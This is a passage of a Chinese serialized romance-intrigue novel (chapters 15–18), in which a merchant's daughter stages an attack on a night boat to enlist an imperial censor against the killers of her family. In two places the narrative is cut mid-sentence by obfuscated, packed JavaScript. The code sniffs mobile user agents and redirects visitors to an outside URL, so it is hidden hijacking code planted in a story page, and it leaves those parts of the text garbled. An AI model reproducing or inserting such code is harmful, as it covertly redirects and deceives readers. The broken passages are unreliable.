几枚铜板掉落在小童的篮筐之中,他惊喜地伸手去够,却忘了手中原本拿着一枝尚未开放的绿梅。恍惚之中,花枝跌在地上,他忙不迭又蹲身去拾。待重新站定时,只见月色如雾,行客如云,可那红衣少女和如仙人一般好看的郎君,都已不见了。 小童将铜板仔细拾起放进兜里,挠了挠头。 钱是真的,那么刚才的一切,应该不是梦罢? *** 碧霄府素以南国水乡闻名,不仅北临碧水,东踞霄江,城内的木兰河更是水系纵横,相互通达。薛扫眉挑灯夜行,沿张宿街向西行至柳宿街口,再在北向小巷中穿行了半柱香的时间,便寻到了最近的一个名为“柳叶”的渡口。 此时天色已彻底黑了下来,柳叶渡只横了一条乌篷船。船家是条四十岁左右的汉子,半眯着眼靠在船篷上假寐,显然已是许久未等到乘船的客人。见到薛扫眉影影绰绰地走过来,船家眼前一亮,直起身来招呼她上船。 “到桃花渡。”薛扫眉爽快地付了船资,提着灯笼站到前艄。 船家向她身后望了一眼,微微颔首,将她迎上船。 木楫摆动,水面上浮现的星月被浪击碎,又渐渐聚拢。薛扫眉一手扶着船篷,一手提着灯笼,立在船头,感受北风低啸,吹歪她的雪帽,拂过她的发梢。走了这许久,她已有些腰腿酸软,那些暌违已久的活力好似又开始消退。 再坚持一下,薛扫眉用力抓紧船篷,暗暗对自己说。 乌篷船慢悠悠地离开渡口。 四周黢黑无人,红衣少女立在前艄,并未回头。船家默默放下了手中的木楫,从船板中缓缓抽出一把长刀,提气起身。 船身忽然颤动起来,薛扫眉被颠得一趔趄,挣扎间回头看去。 一道银光她正上方劈下,刀锋后隐匿的,是船家无法看清的脸。 15. 第 15 章 一切发生得太快,薛扫眉甚至来不及发出呼喊,便已经感受到了劈空而来的风。 就在同一时间,她彻底失去了平衡,向后跌去。 薛扫眉睁大了双眼,视线划过夜空。月色并不明朗,灼灼皎皎的河汉在她眼前盘旋。一白一黑两道闪电般的光影倏然掠过,前者悍然撞上船家的刀锋,迸出三两火花,仿佛星子坠落。 电光火石之间,她手中用于挑灯的木杆被一股力道拽住,将薛扫眉拖回了船艄。船身仍在剧烈摇晃,她身前的那道高伟如玉山的黑影却稳稳矗立。待薛扫眉借势坐回船板上后,那人回头对她说了声“坐稳”,便松开了拉拽木杆的左手,跃上船篷,专注地与船家缠斗起来。 这乌篷船太过窄小,薛扫眉缩在前艄一隅,挨着灯笼观战。限于光线和角度,她总也看不真切,只能望见一团黑影,间或听到刀兵相接的清脆响声。薛扫眉抿了抿唇,用斗篷将自己裹紧。 陆缥立于船篷之上,白色的铁雪扇在他掌中旋转抛洒,映着晦暗不明的月色,发出戾戾风声。论兵器,向来有“一寸长,一寸强”的说法,他在西北从军时,惯使的也是长枪或环首刀;回京之后,为了携带方便,才改用了这柄御赐的铁雪扇。好在此刻是贴身缠斗,铁雪扇可刺、可挡、可剪、可掷,与船家的长刀相比,倒也不落下风。 二人沉默地对了十数招。陆缥有心探明对方的底细,缠斗中向左卖了个破绽,船家果然斜刀劈来,路数似曾相识。陆缥早有预备,手中的铁雪扇轻轻一抖,分为两瓣,准确地咬住了船家的刀刃,一路向前推至刀把处,擦出如虹电光,映出船家下颌处一条陈年刀疤。船家吃痛欲要后撤,手中的刀却被拿住,纹丝不动,他还未来得及松手,已被陆缥当胸踹了一脚,跌落水中。 乌篷船骤失重量,前艄翘起,后艄震荡。陆缥回头看了一眼,那薛大姑娘仍抱着灯缩成一团,看不清表情。他心下微动,捡起船家留下的刀,提气跃到船头,好歹让小船安稳了些。 河面如墨缎般在月光下静静摇曳。未几,一只粗粝的手探破水面,抓住乌篷船的边缘。船家从水下挣扎着露出面孔,竭力喊了一声。 陆缥停下了手中的刀。 他简直怀疑自己是不是听错了—— 直到那船家拼尽全力地搭上另一只手,用呛满了水的嗓子又破碎地叫了一声“东家”。 东家?! “他是我的人,”女声从陆缥身后传来,由远及近,堪堪停在一步之遥处,“惊扰大人,万分抱歉。请暂且停手罢。” 陆缥回头。薛大姑娘已从后艄穿过船篷,举着灯笼探出头来,朝他粲然一笑,毫无惊惧之色。 离得这么近了,他方才发觉她额上用胭脂描了一朵重瓣粉花,与簪在发间、由粉贝雕成的海棠华胜相互呼应。眼前人眉翠唇朱,芙蓉敷面,可谓盛妆。 陆缥挪开视线,冷声道:“你的人?薛氏,你这是在行刺朝廷命官么?” 薛扫眉轻咳一声:“大人,可否拉他一把?”见陆缥未应,她耐心解释道,“我区区弱质,于您无分毫威胁。我看此人并不会水——若再不施救,恐怕河中马上就要多一具浮尸了,届时我和大人都要费些唇舌解释,不值当的。今日之事,全是我的筹谋……您将人救到岸边,再上船来,我自会给一个答案。” 依旧无人应她,但前艄处忽然一轻,“哗啦”一声,仿佛有什么重物被飞快地拎出水面,两团黑影旋即落在渡口前的艞板上。 浓墨一般的夜色下,陆缥以手为刀,将船老大击昏后扔到地上。 薛扫眉静静待在船中,并不去看。片刻之后,小船几乎不可觉察地微一摇晃,随即向河面中心行进。夜风冷如冰刃,她被寒意席卷,心口一激,忍不住低低咳了几声。在她身后,从渡口去而复返的陆缥立于后艄,正面无表情地划着木楫。 桨声沉沉无人语,小船悄悄调转了方向。执楫人背风而立,船篷中的女子咳声渐歇。 薛扫眉捂住心口,按瞿准教授的方法调整了一番气息,终于勉强找回了自己的声音:“察院大人,烦请近前一叙。”她挪动腿脚,抱着灯笼,努力转身面向他的方向,“并非我不敬……我有点累,好像站不起来了。” 陆缥收好船楫,掀开帘布,沉默地迎着她的目光盘腿坐下。他身量本就比她高得多,就算是席地而坐,也已挡去了足够多的风,足以让她开口。 “今夜让大人受惊了,我……实在有不得已的缘由,需要私下见大人一面。”薛扫眉螓首低垂,楚楚可怜得恰到好处。 她立刻听见对面传来一声几不可闻的“呵”声,似是轻蔑,又若玩味,但很显然,陆缥对她此番作态并不买账。 薛扫眉心思百转,正欲换一副面孔应对,却听陆缥又开口道:“既然薛姑娘身体孱弱,不便说话,那就容本侯来猜一猜这‘不得已的缘由’罢。” 薛扫眉不得不抬眼看他。 陆缥盯着她的眼睛,时刻关注她的表情:“是你身中奇毒,被人操控,想让我为你延请名医?——哦,看来不是。是你设计与周家退婚,揽我入局、见证了关键的一步棋,想亲自和我道谢么?——看来也不是。是你为薛家行商方便,用菩萨蛮贿赂我无所成效,想自己和我谈谈?——那倒也不必费心安排今晚如此惊心动魄的一场戏。” 铁雪扇倏地打开,陆缥随意地用袖子抹去扇叶上沾染的暗色。那是船家的血。 “今日这位船老大,下颌有疤,操崤东道口音。如果我猜得没错,他应当就是江南六道正在通缉的匪徒葛三。薛姑娘能否解释一下,为什么你一介商贾,竟然能私藏刀兵,还能请得动他?你和玉霓裳之间,究竟是什么关系?你设下环环相扣的局,引我至此,恐怕会谈是假,想除掉我才是真罢?” 铁扇向前一错,如刀刃版锋利的边缘抵住她毫无守备的纤细脖颈。 “说!你背后是谁?是不是……” 陆缥面色冷厉,眉宇间凝着阴霾。 哪知薛姑娘被人用兵器架着脖子,却毫无惧色。听他抽丝剥茧地说了这一番话,她眼中的神采甚至越发明亮了起来。 “陆大人知道我背后的人是谁么?”她饱含期冀地问。 “休要套我的话。难道你不知道?” 薛扫眉垂下眼帘,察觉到他对这个问题的答案也并无十分的把握,有些失望。但她很快整理好了自己的情绪,正色道:“大人的问题有些多,我逐一来答。 “刚才的船老大,确是葛三,但他不是来除掉您的,而是来刺杀我的。我给了他一百两银子,让他从酉时末开始守在柳叶渡口,化装成船老大;如有提着灯笼、要去桃叶渡的红衣女子——就是我本人——上船,就用提前准备好的刀杀人劫财,事成之后可再领二百两。 “至于您,实在是因为古道热肠、见义勇为,才被搅入局中。有官如此,是我碧南道百姓之福。您武艺过人,擒住悍匪,小女子敬佩得紧。 “敢问大人,我朝律例,可有禁止人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方才陆缥随手将夺来的长刀丢在后艄处,此刻那刀正位于他身后。他借着灯笼微光,见眼前女子面色坦荡,终于冷哼一声,撤下手中铁扇,回身寻到刀柄,将它拖回船篷细细查看。 薛扫眉颈上压力消失,这才觉察痛楚。她低头看不到伤口,伸出手指触碰,摸到湿漉漉的血痕。原来是那铁扇锋刃锐利,抵得又紧,将她皮肤划破了。 陆缥全神贯注地看着长刀,并未关注薛扫眉的动作。须臾,他神色变了。 “这是……”他皱着眉望过来,眼神中有疑惑也有试探。 薛扫眉轻咳,点头道:“它是一把旧刀,已经锈了。您在别的地方,也见过一样的刀么?” 她在明知故问。陆缥不答,反问她:“我该在哪里见过?” 迎着他复杂的目光,薛扫眉面色无波,坦坦荡荡地说出真相:“这把刀,和出现在您入城前刺杀案物证中的另一把刀,都是曾屠戮我家人的凶器。当年,被丢弃在灭门凶案现场的长刀共有五把。曹参军和陈知府结案之后,我便央求他们把插在我……我父母胸口上的这两把刀赐还给了我。日久天长,想必他们早已不记得此事了。”她嘲讽地笑笑,很快又收敛神色,继续讲起前因,“两把刀,一把我托付给葛三,让他今日使用;另一把,我让人连夜将它和城外山林间那些黑衣人的尸首放在一处,等天亮后,自然会被糊涂的胥吏当做刺杀您的凶器拾走。” “你为什么要这么做?”陆缥终于忍不住问。 16. 第 16 章 烛光从牛角灯笼中透出,昏黄氤氲。 他二人仅有一臂距离,呼吸几可相闻。 薛扫眉放低声音,螓首低垂:“我想让您亲自看看这两把刀。人家都说,定远侯少年从军,武功高强,见识也广。若是您在别的地方也见过同样的刀……” “这两把刀,是最寻常的款式,看不出什么线索。”陆缥打断她的解释,神色冷硬,“以你薛家的财富地位,或是与陈知府他们的交情,要找什么样的人看刀不成?即便是想找我,也有一万种别的方法。薛氏,你特意安排它们出现在我两次受刺的场合,是想着万一我真的遇害,必定轰动朝野,官家派人来查时,能顺道替你薛家翻案罢?” 看来这位陆大人,对于她做小伏低的样态,并不买账。话说到这份上,倒也没必要再粉饰太平了。陆缥所言,确是薛扫眉设想内的一种场景——只不过还有另一种,他没想到。 “大人言重了。”薛扫眉褪去笑意,抬眼直视陆缥,“方才大人问我,若是您没有跟来,或者打不过葛三,又当如何。其实按今日之情形,还有另外两种可能,一是您跟着过来,但按兵不动,冷眼看我受死;二是在您出手之前,葛三失手杀了我。若是第一种情况,我自会喊出‘刀下留人’,让葛三停止行动,伪装成被旁人发现后逃逸;但若是第二种……刀剑无眼,我又无半分工夫在身,只能任他宰割了。” “你孤身夤夜来此,确实过于大胆。”陆缥眉头仍皱,语气稍缓地点评道。 薛扫眉轻咳一声,继续说:“无论是哪种情形,大人都将是命案目击者。灭门案发生四年后,又有人在御史大人见证下,用同一把刀杀害我这遗孤……我猜想,以御史大人的心胸和能力,定不会坐视不管的。也许,薛家满门的冤仇,就能由此见光洗雪了。如果真能那样,我今日送命也未尝不可。” 她所作所为,果然是为了当年旧案。 陆缥终于正眼看向薛扫眉。眼前人口中说着自己的生死,面上却浮着无谓的浅浅笑意,正平静地回望着他。 他阅人无数,却也不得不承认,极少见到这般看似无害、实则慧黠而心狠的女子——他目光徐徐上移,停在薛扫眉的如云发髻上——她就像那支斜插着的发簪,只对外露出晶莹娇柔的粉色花瓣,而将尾端的尖利锋芒默自收藏。 陆缥收起怠慢,敌意仍存:“说回第一把刀。你说你‘连夜’命人把它和城外那些黑衣人的尸首放在一起……可第二日我分明天亮后才入城。你身在碧霄府,如何在前一天夜里就做好了安排?除非你事先便知道有人想在那里伏击我。” 最后这句,是陈述,而非发问。 陆缥会这么想,薛扫眉未觉意外。她素来谨慎,今日想说的和该说的话,都已在脑海中提前演练了数十次。能让陆缥挑拣出来的“纰漏”,俱是她特意留好口子、想教他自行参悟的部分。 “陆大人,我不是你的敌人。”她看着他的眼睛,一字一句地道,“想杀你的,和灭我薛家的,其实是同一伙人。他们给我下毒,逼迫我作伥鬼,可我不愿。” 船篷狭窄,她稍稍后撤一步,庄重地跪拜下去。 “……我不愿家人蒙冤,不愿苟此余生,不愿为虎作伥。四十七条人命,不该如此草草了结。恳请钦差助我重审薛案,捉拿凶犯,还江南清澄吏治和安宁社稷。” 除了那句“清澄吏治”,这些话,四年来薛扫眉说过许多次。不只是在心里说、在梦里说,她还曾对曹永年、陈相如和前任监察御史蔡大人如是说过。 可惜从来没人正面回应过她。他们各有各的立场,沆瀣一气,只会劝她算了。官府认定薛案是“贼匪夺财杀人”,倒也没错,只是不知是因为害怕麻烦、担心清平官声受损,还是由于被面具人所收买、威胁,这些在江南盘桓多年的官员始终不愿意认真追查所谓“贼匪”的下落。甚至当薛扫眉说起自己被下毒威胁时,他们也只当是她受惊过度,满口胡话。再后来,薛兼将薛扫眉越看越紧,她也终于彻底失望,不再希冀从这些人里寻到突破口。 数年来,她一意蛰伏,已殚精竭虑地埋好了数条暗线,等待合适时机,便可动作。 正在这时,陆缥来了。他是皇亲国戚,又身兼钦差御史,有足够能量。更重要的是,他毁誉参半的复杂历史,让薛扫眉嗅到了可乘之机的味道。 可惜陆缥还是太过聪明了。聪明人惯会权衡利弊,是无法立刻放下骄傲,无条件就范的。 “薛氏,你这是在向本官检举碧霄府刑官渎职么?如你已经想好,可于明日在府衙递状纸给本官,我自会将案件发回按察使司审理。我可以答应你,如曹永年、陈相如等人确有罪责,严惩不贷。”他故意曲解起她的意思,公事公办地说,“看在你是在为父母尽孝的份儿上,你的这些计俩,本官都可既往不咎。夜已深了,尽早回罢。” 薛扫眉抬起头,与陆缥目光相接。清凌波心,桃花潭水,俱在灯火下平静倒映出对方形貌。 她本应该再次感到失望的。但从居高临下看着她的那双眼睛里,薛扫眉没有读出敷衍,反而看出了些别的东西。 陆缥也在试探她。 那便不遑再勉力一试。 “大人,那些贼匪并不是不可追查的。我身边的管事薛兼,便是当年参与灭门案的杀手之一。他现在受匪首指派,时刻紧盯我的动向,逼我用薛家的财力和名头为他们做事。薛案要查,需得徐徐图之——我不是珍视自己的性命,而是他们这些人绝非普通强盗,背后势力盘根错节,我怀疑……” “这些本官会一力查清,你且回去等消息罢。”陆缥开始显露出不耐烦的神色,好似她是在痴人说梦。 “瞿准,瞿平仲,他是医圣座下弟子,被贼首胁迫为我解毒,他可以证实民女所言非虚……” 陆缥摇头,作势要起身去拿木楫,实则却在留意她的动静。他此番南下,是带着极重要的任务来的。薛氏所言,都在他已知的范围 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这种感觉薛扫眉再熟悉不过了。捣练子,面具人为她种下的剧毒,又开始掌控她羸弱的身体。 今夜留给她的时间已经不多。 薛扫眉支起手肘,重新仰头。冷汗打湿了她额旁的碎发,渗透芙蓉色的胭脂,却不曾使她显得狼狈。 “陆侯可曾听过李山甫的一句诗?”她手心发热,眼中却似淬着冰,“‘遣妾一身安社稷,不知何处用将军。’” 这是一句唐诗,用被送到回纥和亲的崇徽公主的口吻所写,实则是在讽刺当时国力式微,唐代宗不敢触怒番邦,只好牺牲宗室女子,换取短暂的和平。 虽是先人所作,却让陆缥一下子变了脸色。 “你知不知道自己在说什么?”他眼中杀意暴涨。 陆缥是皇后外甥,当朝季皇后的亲生女儿和嘉公主,正是他嫡亲的表妹。未央京中早有传闻,和嘉公主是要下降陆缥的。可惜弘文二十二年,陆缥统领的神牧军在与西北蛮族白狄的战争中折戟,燕帝为大局考虑,决意止戈息武,与白狄和谈——代价便是和嘉公主出塞和亲,嫁给了年老的白狄王。陆缥送嫁回还之后,卸任军职,就此在未央京中浮沉,再也没回西北。另有消息称,他迄今未娶,便是因为准未婚妻嫁给了仇敌,情伤未愈。 这是陆缥的逆鳞,薛氏一介民女,竟敢随意出言触动。她甚至不再叫他“大人”,而是改称“陆侯”——他的定远侯爵位,正是因为少年时立下军功而获得的。 好得很。陆缥牙关紧咬,目眦欲裂。这疯女人莫不是破罐子破摔,不想活着下船了? 他的表情让薛扫眉暗暗松了一口气。她好像赌对了。 在陆缥厉色注视下,薛扫眉挺直了脊梁。 “陆侯若愿助我,我还可送您一份大礼——一个能让官家改念,重新和白狄开战的理由。” 17. 第 17 章 薛扫眉自幼和父亲学习经商,深深认同一个道理:万事皆可交易,人人都有欲望,或以威逼,或以利诱,总是能将他们驱使如棋子。对于陆缥这般位高权重、天生富贵的人来说,威逼行不通,普通的“利”也诱不动,但好在他们往往格外珍视一种分外容易被击碎的东西,那便是自尊。 与白狄的战事,既是陆缥前半生大部分荣耀的来处,也是让他迄今蒙羞的原因;是逆鳞,更是未长好的伤口。既如此,那便需要重新切开,才可愈合。 希望这是她的机会。 薛扫眉抵抗着心胸中激荡的痛楚,定定望着陆缥。后者面容上出现一霎迷惘,像寒冰上浮出的裂缝,几不可见,很快又被讥诮之色湮没殆尽。 陆缥重新挂上冷笑:“官家圣明,和嘉公主仁善,这才不费一兵一卒,换来了我大燕西北边境的和平安定。谁说本侯希望重新开战了?” 薛扫眉没有放过他方才表情的变化,将心一横,咬牙道:“小女子不敢猜度侯爷所想,也不敢妄议朝政。我和您交个底:那贼首知道您到碧南道上任,曾命我对您多加笼络,以免阻碍他想做的事情。您在入城前遭到刺杀,便是他奉白狄人的命令做的安排——不过,他担心您若在碧霄府遇害,将引起官府的关注,反而对其不利,因此未全力以赴罢了。白狄人至今还在找您的麻烦,可见这战与不战,并不全凭侯爷的心意。自和嘉公主出塞后,边关松动,我薛家商行与白狄商队时有贸易来往,加上那贼首屡屡差遣于我,故而我总能打听到一些消息。若您想战,我可亲自证明那贼首勾结白狄,意图颠覆社稷;若您不想战,我也可作为间者,暗中助您,掌握主动。” 夜色如漆,乌篷船随着水波静默款摆。 “如你所言,那贼首胁迫于你,还勾连外敌、行不赦之恶,已有数年之久……而你竟然隐瞒不报,助纣为虐。薛氏,你可知如果事发,你会有何下场?”陆缥沉静地看着她,语意直白。 薛扫眉哑然失笑。豆大汗珠从她额头沁出,冰冷笑意自嘴角撤下,漫上瞳仁,涌动如流火。 “隐瞒不报,助纣为虐? “从案发的第一天开始,我便一直在向府衙的各位大人举发此事,官老爷们装聋作哑,怎能算是我隐瞒不报?我虽被人要挟,但也只清白行商,他人盗用薛家名号做阴私之事,怎能算是我助纣为虐? “好,四十七条人命,官府可以不在意,可他们是我的至爱亲朋,我不能忘记,也不敢忘记;陈相如和曹永年不查,我自己来查。四年多了,我忍辱负重,收集证据,近日无意间发现他们还与白狄勾结,便借机逃脱出来,向您告发。御史大人,您告诉我,我还做得不够么? “我现在还没有查出他们到底是谁,但他们手中捏着我的命,所以我不能冒险去敲登闻鼓。您曾做过将军——若在打仗时,敌方故布疑阵,在没有完全把握的情况下,是贸然挺近为宜,还是暗中侦察更好?况且,江南有多少官员尸位素餐,不问民生?这几年我看够了,也失望透了。把案子交给他们,我不放心。” 她误解了他,但这番话仍教陆缥心神一震。 “我不是在指责你,只是想让你明白,事情并非你想的那么简单。‘亲自证明那贼首勾结白狄,意图颠覆社稷’,于你而言,可能需要付出生命的代价。”他解释道。 “若能与仇雠一同化鬼,亦是快慰!”恨意让薛扫眉在咳喘中竭力坐直,“人总是要死的。我不惧死,只担心死得没有价值。侯爷,我有钱,也在江南有些许门路,但我缺少自下而上的能量和武力——而这些您都有。若我保证不会让您涉险,不让您做枉法背德之事,您是否能助我暗中查清真凶,并且最终将他们绳之以法?事成之后,我所承诺的这些,还有薛家名下所有的一切,都会是您的。” 灯笼中的蜡烛似将燃尽,薛扫眉眼前也开始阵阵发黑,而对面人仍在沉默。 情急之下,她探身攥住陆缥的袖管:“陆大人,我最后问您一句……您可愿做我的孟尝君么?” 她虚弱至极,手上无力,并未撼动陆缥分毫。唯有那一双沾染着点滴泪意的美目,望之灼然,似能燃起心原之火。 战国时孟尝君好养门客,后来被扣秦国,靠一门客偷盗狐裘、献于秦国国君宠姬,方才脱身;行至函谷关时,后有追兵,又是凭借门客摹仿鸡鸣声,骗开关门,最终侥幸逃生。薛扫眉这么问,已是屈尊自比为鸡鸣狗盗之徒,愿做他的麾下之臣。 数十丈外忽然传来一阵马蹄声,在静谧的夜色下显得格外刺耳,震得船篷中灯花重重地一跳。 有人来了。 薛扫眉心道不好,却听得陆缥低声说:“你还需保证,若对方有任何不法举动,第一时间告知我。” 她若有所悟地看向他,下意识地应了声“好”。 “还有,遇事不可冲动,护好自己的性命。若一个人连自己的生命都不在意,我不信她会是一个好的盟友。” “……好。” “我不愿做孟尝君。”陆缥抬起眼睫,“但此刻起,我们是盟友了。” 薛扫眉如释重负地绽开笑意,向他点了点头,松开手指。下一瞬,万蚁噬心般的疼痛席卷而来,她捂着心口弯下腰,却仍无法抵御钻心之痛。豆大的汗珠层层沁出额头,薛扫眉银牙紧咬,面白如纸,身体缓缓滑落。 陆缥手疾眼快地扶住她的肩:“你这是……毒发了?身上可带了药?” 薛扫眉摇摇头,气若游丝:“我服了药,只是累狠了……无碍。”她闭了闭眼,睫毛在苍白的面孔上投下暗影,“我猜是薛兼来了。那贼首为了更好地掌控我,迫使我与周家退婚。他派薛兼在我身边数年,而薛兼对我不乏觊觎之心,待我出了孝期,也许就要被逼着嫁给他了。我不愿如此。侯爷可否行个方便,配合我演一出戏……” 她将拇指凑到自己涂着朱色香脂的唇上,胡乱抹了两把,又支起身,忍着痛楚向陆缥靠近。 小娘子玉臂轻抬,红色的外裳滑落,露出一截白皙纤弱的皓腕,俶尔落入一只骨节分明的大手之中。 “我来。”陆缥一手握住薛扫眉的手腕,另一手拇指伸出,在她的指尖上辗转碾压。薛扫眉怔忪之间,他已低下头,抬手将那抹朱色随意地拓印至自己的下唇。 灯花噼啪乱蹿,两人唇间乱红纵横。 口脂香气、薛扫眉指尖传来的冰冷体温,与暧昧的朱红色一同,突破了陆缥形状优美的唇缘。昏暗灯光下,郎艳独绝的陆御史弯唇调笑,正如他在风月场中一贯表现的那样:“就当今日我与女陶朱歃血,信守盟誓。” 但她却出乎意料地,没有报以他所习惯收受的羞涩、爱慕的神色。 薛扫眉似乎已从上一阵疼痛中稍微缓了过来,此刻额上仍带着涔涔冷汗,一双清凌美目却坦坦荡荡地盯着陆缥,目光直白中隐含激赏,可显然无关风月:“大人与我只见过三面,却有默契如此。我这回真算是找对人了。” 骏马嘶鸣声撕破夜幕,有人在码头处翻身下马,弯腰检查了下仍昏迷着付在艞板上船老大,随即拔出腰间的剑。 陆缥捕捉到了锋鸣之声,立刻转过头。不远处亮起的一排火光穿透船篷的细小缝隙,映在他显出琥珀色的瞳仁中,似金线跃动。 “戏要做全套……得罪了。” 他膝行半步,摘下薛扫眉发间的海棠华胜,将发丝扰乱,又再度伸手扶住她的肩膀,侧身将少女虚虚揽入怀中。 下一瞬,靠近后艄处的垂帘被剑光劈裂。 “大姑娘!” 薛兼自己都没有察觉到,他此刻握剑的手有些颤抖。明明剑是他惯用的那一把,早已举重若轻,明明星夜策马对他来说也不过是家常便饭,可当他接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364895|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到府中递出的大姑娘出走的消息——特别是方才在柳叶渡口发现重伤昏迷的船家,而薛扫眉却未见踪迹时,他素来稳健的心跳抑制不住地跃动如雷。 已被剑锋击碎的帘布打在薛兼眼角,他立在晃动的船头,定定看向拥抱在一起的两人,一时忘记了闪躲。 薛扫眉见他上船,顿时收起笑意,抬起眼睛,厉声道:“转过去,把剑收起来!我与定远侯陆大人在此相谈,谁让你贸然闯入的?” 薛兼沉默转身,方才探见的旖旎景象却仿佛在面前挥之不去。 红衣盛妆,青丝倾泻,胭脂凌乱,她妙目微阖,靠在美貌郎君肩头,巧笑嫣然。 服色、妆扮、姿态、神情,都是他从未见过的。 还有笑容……她从未这样向他笑过。待他来了,她又不会笑了。 长剑入鞘,锋刃低鸣。薛兼一语未发。 “这是我家里的管事,薛兼。今日我本想一人在夜市上逛逛,没和下人们说,薛管事定是找得着急了,所以才行此冒犯之举。让侯爷见笑了。”薛扫眉语气轻柔地介绍着,抛向薛兼背部的目光却冷峻如霜。 陆缥会意。看来这便是“当年参与灭门案的杀手,后来假借名义到我身边做了管事”,对薛扫眉“不乏觊觎之心”的那位。 “无碍,”不就是配合着演些温柔小意的戏码么,他并不陌生。陆缥将薛扫眉的斗篷拢紧,含笑道,“不过是个不懂事的下人罢了,我怎么舍得因此和你生气。夜风寒冷,你身子弱,我先送你回去罢。” “属下备了马车,就在渡口。”薛兼背对着他们,语气淡漠。 薛扫眉仍倚在陆缥肩头,冷声道:“那你还不动手,是想让陆大人亲手摇橹么?没有眼色的东西!” 她话音方落,薛兼便沉默地执起木楫,手背上的青筋无声暴起。 乌篷船向柳叶渡漂去。渡口处,数个手持火把、牵着骏马的劲装大汉站列成行,他们都是随薛兼北上监视周家迁徙,却又半途折返的薛宅家丁。在马队后头,是薛扫眉平日坐惯的那驾宽敞豪华的马车。因出行仓促,马车上未覆盖令人惊艳的鲛绡,但仍用绣饰繁复的夹棉锦缎围了个严严实实。 小船慢慢靠岸。薛兼待家丁系好船绳,才微侧过身,哑声问:“大姑娘,还能自己走么?今日属下来的仓促,未带仆妇……” 他话音未落,薛扫眉已将一双柔荑缠上了陆缥的脖子,嗔道:“大人,我走不动了。” 陆缥未料到她忽然有此动作,待反应过来,自己的右手已用力掐握住怀中之人纤细的脖颈后侧。他习武征战多年,身体里早已形成了对于突然遇袭的自动反应,此刻竟误判了。等分辨清楚掌中人并非仇雠之后,陆缥赶忙松开手指,下意识地在错误使力之处轻抚了几下以示抚慰——可在不明内情的人看来,绝色郎君玉指伸张,神情专注地摩挲着少女雪白的颈间——亲昵如此,与情人无异。 薛扫眉当然清楚发生了什么,这位有阎王之称的陆大人显然被她的蓦然动作骇了一跳,故而有些失态,才不是故意行狎昵之举。饶是如此,她也感到自己面上微微热了起来。 “大人,”她垂头埋入他的胸口,巧妙地避开了他的手,“您送我上车罢。我不要别人背。” 话音未落,陆缥已托住薛扫眉的后背和膝弯,轻松地将她抱了起来。在他怀中,她仿佛埋在红梅丛中的一捧轻盈白雪,似乎还不如他过去用惯的那把埋鞘环首刀有分量。华胜已被取下,她的乌发有部分散落在半空中,和着陆缥举步行进的节奏,冰凉青丝一晃一晃地打在他的手上,有些刺痒。 非礼勿视,薛宅的家丁们在他们甫一下船始,便已识时务地背过了身去,只有两道灼热的视线一路尾随着陆缥,直到他单手掀开马车的缎帷,抱着薛扫眉进入车厢。 厚厚的帷帐落下,将风刀霜剑隔离在外。 18. 第 18 章 薛家马车的轿厢约有二丈见方,容下薛陆二人,绰绰有余。轿厢里熏着沉水香,烧着银丝炭,外加蜂蜡制成的一众烛火静默燃烧,将此间衬得暖融亮丽,有如春日白昼。 陆缥弯下腰,将怀中人妥帖安放于铺着绮罗被面的座位上。与此同时,薛扫眉自觉地松开了环抱他脖颈的手。 他挺腰起身,恰逢她努力坐直身躯,细微鼻息于是轻轻击中他的脸颊,像蝴蝶从此振翅。 陆缥后撤一步,清了清嗓:“夜深了,你先回罢……路上小心。” 说到最后二个字时,他扬起下颏,示意窗外方向。 薛兼正站在那里。 陆缥这是在提醒她,与薛兼周旋,需得当心。 薛扫眉会意点头。她受了风寒,咳个不停,好容易凑出几句完整的话:“多谢大人今夜慷慨出手,救命之恩,小女子无以为报。改日待我身子舒朗些,必备好厚礼,差人送到大人府上。” 隔帘有耳,她这话多半也是说给外间人听的。 “不必……”陆缥待要推拒,却见薛扫眉朝他缓慢地摇了摇头。 “请大人一定笑纳。”她目光盈盈,自有深意,映入他眼中。 这便是在筹谋后招了。陆缥了然,向薛大姑娘道罢珍重,举步跃下马车。 那冒名作薛兼的男子,果然牵马立于轿厢窗侧,左手举着火把,低垂着头颅,不知在想什么。听见响动,他抬眼望来,又很快撤回视线,向陆缥躬身:“御史大人。”语气中除了恭顺,听不出任何情绪。 陆缥信步走到薛兼跟前。相距一丈有余,借着火光,他清楚看见此人鬓边滚落的热汗。夜色沉静,薛兼牵着的马似乎感受到了主人心绪不宁,仰头长嘶了一声,湿亮的鬃毛被风卷弄,凌乱如翻荡海浪。 陆缥从军多年,当即明白这一人一马,必是刚刚经历过长途且剧烈的奔走。 今日早些时候,他还在思索周家父子离开和玉霓裳约他赴会,为何会选在同一天,是否只是巧合——现下清楚了:这是薛大姑娘有意的安排,目的是借前一件事引开薛兼,为与他相会留出足够空间。 当真是缜密的一局。 薛兼用力扯住缰绳,将马头拉低。他扬起手臂的动作,使得腰间剑柄暴露于陆缥视线之中。 “你这剑不错。”陆缥挑眉。 “大人谬赞了。”薛兼下意识地握住剑柄,指节泛白。 “看你方才的招式,应也习武多年了。若得机会,我与你切磋切磋。” “不敢。方才是草民唐突了,还请大人莫怪。” 陆缥莞尔,不与他在此话题上多做纠缠:“你家大姑娘今夜在渡口乘船,遇到歹人劫财,我凑巧碰见,便管了这桩闲事。她是刑案苦主,改日府衙可能会传唤去录证词,你们做好准备。” 薛兼敬诺。 陆缥将目光从他脸上移开,投向站在他身后的队伍:“这些人,都是你家的仆从?” “回大人的话,是。” “人强马壮,倒比府衙的卫队强上许多。” 